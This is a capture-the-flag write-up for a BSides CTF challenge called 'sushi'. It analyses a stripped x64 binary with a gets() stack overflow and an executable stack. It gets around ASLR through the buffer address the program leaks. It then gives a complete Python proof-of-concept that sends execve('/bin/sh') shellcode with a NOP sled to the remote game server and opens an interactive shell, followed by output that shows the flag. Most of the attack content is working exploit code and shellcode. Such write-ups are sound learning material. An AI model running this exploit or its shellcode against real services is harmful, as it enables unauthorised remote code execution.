➜ sushi ./sushi Deposit money for sushi here: 0x7fffd821cfc0 w00t Sorry, $0.119 is not enough. ➜ sushi ./sushi Deposit money for sushi here: 0x7fff4b1eb2d0 x00t Sorry, $0.120 is not enough.
Since the given binary is stripped and has no symbols, the address of main function must be manually calculated. The first argument of __libc_start_main() is the address of main(). So, the address of main() can be found by dumping the .text section and looking for arguments passed to __libc_start_main()
➜ sushi objdump -d sushi -M intel|grep 'call.*__libc_start_main' -B3
4004af: 49 c7 c0 70 06 40 00 mov r8,0x400670 4004b6: 48 c7 c1 00 06 40 00 mov rcx,0x400600 4004bd: 48 c7 c7 96 05 40 00 mov rdi,0x400596 4004c4: e8 97 ff ff ff call 400460 400460 <__libc_start_main@plt>
The address of main() is found to be 0x0000000000400596. Examining the instructions at that location,
(gdb) x/24i 0x0000000000400596 0x400596: push rbp 0x400597: mov rbp,rsp 0x40059a: sub rsp,0x40 0x40059e: lea rax,[rbp-0x40] 0x4005a2: mov rsi,rax 0x4005a5: mov edi,0x400688 0x4005aa: mov eax,0x0 0x4005af: call 0x400450 <printf@plt> 0x4005b4: mov edi,0x0 0x4005b9: call 0x400490 <fflush@plt> 0x4005be: lea rax,[rbp-0x40] 0x4005c2: mov rdi,rax 0x4005c5: call 0x400480 <gets@plt> 0x4005ca: movzx eax,BYTE PTR [rbp-0x40] 0x4005ce: movsx eax,al 0x4005d1: mov esi,eax 0x4005d3: mov edi,0x4006aa 0x4005d8: mov eax,0x0 0x4005dd: call 0x400450 <printf@plt> 0x4005e2: mov edi,0x0 0x4005e7: call 0x400490 <fflush@plt> 0x4005ec: mov eax,0x0 0x4005f1: leave 0x4005f2: ret (gdb)
We are dealing with a 0x40 bytes buffer which is being populated using gets() (0x4005c5) without any bounds check. A buffer overflow vulnerability is evident there. Checking the nature of the stack,
➜ sushi execstack -q sushi X sushi
The stack is executable. So, we can go for a x64 shellcode to spawn a bourne shell. A 30 bytes execve(“/bn/sh”) shellcode was taken from shell-storm.
shellcode : "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
Since the hex address printed by the binary changes during every execution, it is possible that the server is secured using ASLR. We can use the disassembly and some fuzzing to find out the relative stack layout but to get the absolute location of interesting entities on the stack, we need some other hint. The program prints different addresses during execution and that looks like the hint. Examining the arguments passed to printf,
rdi (first arg) : 0x400688 rsi (second arg) : [rbp-0x40] (gdb) x/s 0x400688 0x400688: "Deposit money for sushi here: %p\n"
This format string is the argument to printf and the %p resolves to [rbp-0x40] which is nothing but the buffer. So, the address being printed is nothing but the address of the buffer. Now, the the stack can be smashed with the shellcode sandwiched by some NOP sled to make it for the offset. Since the buffer is 0x40 bytes, the offset will be somewhere above 64 bytes. Setting up a breakpoint at 0x4005f2 (ret) makes things easy to examine the stack.
The saved RIP was found to be 72 bytes above the buffer since the binary crashes with a SIGSEV at 0x00007f00deadbeef when the payload was set to be 72 bytes of junk bytes followed by that addressed packed in little endian format.
(gdb) !python -c 'print "A"*72 + __import__("struct").pack("<q", 0x00007f00deadbeef)'=""> sigsegv.inp
(gdb) r < sigsegv.inp
Starting program: /home/akshay/Akshay/ctf/BSidesCTF/ownable/sushi/workbench/sushi < sigsegv.inp
Deposit money for sushi here: 0x7fffffffe290
Sorry, $0.65 is not enough.
Program received signal SIGSEGV, Segmentation fault.
0x00007f00deadbeef in ?? ()
(gdb)
The chosen shellcode uses the stack so it needs to be made sure that the shellcode does not corrupt itself by pushing elements into the stack at location where it resides after overflow. One strategy to ensure that would be feeding the shellcode in the very beginning of the buffer. So, the payload is designed to be just 8 bytes of NOP (aligning the stack) followed by the 30 bytes shellcode, which is followed by 72-30-8 bytes of NOP sled and finally the address of the buffer in the stack.
The address of the buffer in the stack varies with every execution due to ASLR but we already discovered that the address being printed by sushi is the address of the buffer. The challenge binary runs as a service on the remote gameserver over TCP port 4000. The game rules state that a session will be killed after 15 seconds. So, a script is required to extract the address of the buffer, generate the payload and automate the attack. The following python script will establish connection with Sushi, extract the buffer address, generate and send payload and spawn a interactive bourne shell so that the flag in the chroot can be printed by cat /flag.txt
PoC code
#!/usr/bin/python
"""
BSides CTF Sushi exploit
pwn-sushi.py
"""
import telnetlib
import socket
import struct
import time
def main():
s = socket.create_connection(("sushi.termsec.net", 4000))
shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
offset=72
nop="\x90"
nop_head=8
siz=len(shellcode)
msg = s.recv(1024)
print msg
buffer_addr = msg[msg.find(":")+2:msg.find("\n")]
print "\n\t [*] buffer found at " + buffer_addr + "\n"
payload = nop*nop_head
payload += shellcode
payload += nop*(offset-siz-nop_head)
# payload += struct.pack("<Q", eval(buffer_addr))
payload += struct.pack("<Q", int(buffer_addr, 16))
payload += "\n"
print "\n\t [*] CLEARED HOT !!! sending payload...\n"
time.sleep(0.1)
s.send(payload)
print "\n\t [*] payload sent. establishing connection... \n"
con = telnetlib.Telnet()
con.sock = s
print "\n\t [*] SPLASH ONE !!! g07 5h3ll. enter commands:\n"
con.interact()
if __name__ == "__main__":
main()
Exploit in action
➜ sushi python pwn-sushi.py
Deposit money for sushi here: 0x7fff0c060870
[*] buffer found at 0x7fff0c060870
[*] CLEARED HOT !!! sending payload...
[*] payload sent. establishing connection...
[*] SPLASH ONE !!! g07 5h3ll. enter commands:
Sorry, $0.-112 is not enough.
cat /flag.txt
flag{I_l3ft_my_wallet_in_#irc}
exit
*** Connection closed by remote host ***








